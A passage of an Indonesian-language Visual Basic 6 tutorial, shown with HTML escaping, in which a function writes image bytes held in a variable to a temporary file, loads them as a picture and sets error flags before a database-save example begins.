kita                          hapus terlebih dahulu dengan fungsi Kill&lt;br /&gt;                          If hFile &lt;&gt; "" Then Kill                          "C:\img.tmp"&lt;br /&gt;&lt;br /&gt; '*//                          Selanjutnya kita buat file penampung gambar dengan data                          _&lt;br /&gt;      yang                          diterima dari variable imgData&lt;br /&gt;                          Open "C:\img.tmp" For Binary As #1&lt;br /&gt;                               Put #1, , imgData&lt;br /&gt;                          Close #1&lt;br /&gt; '*//                          Setelah file dibuat, kita coba untuk memindahkannya                          kedalam _&lt;br /&gt;                               fungsi&lt;br /&gt; Set TampilImage =                          LoadPicture("C:\img.tmp")&lt;br /&gt; '*//                          Beri tanda bahwa file berhasil di load&lt;br /&gt;                          ErrRet = 0&lt;br /&gt;Else&lt;br /&gt;                          '*// Beri tanda, bahwa ada Error                    &lt;br /&gt; ErrRet = 1&lt;br /&gt;End                          If&lt;br /&gt;Exit Function&lt;br /&gt;Salah:                    &lt;br /&gt;'*// Beri tanda, bahwa ada Error                    &lt;br /&gt;ErrRet = Err.Number&lt;br /&gt;End Function                    &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;'*// Setelah dua fungsi diatas dibuat, kita                          coba dengan menyimpan _&lt;br /&gt;sebuah                          data kedalam database.&lt;br /&gt;&lt;br /&gt;Private Sub                          Command1_Click(
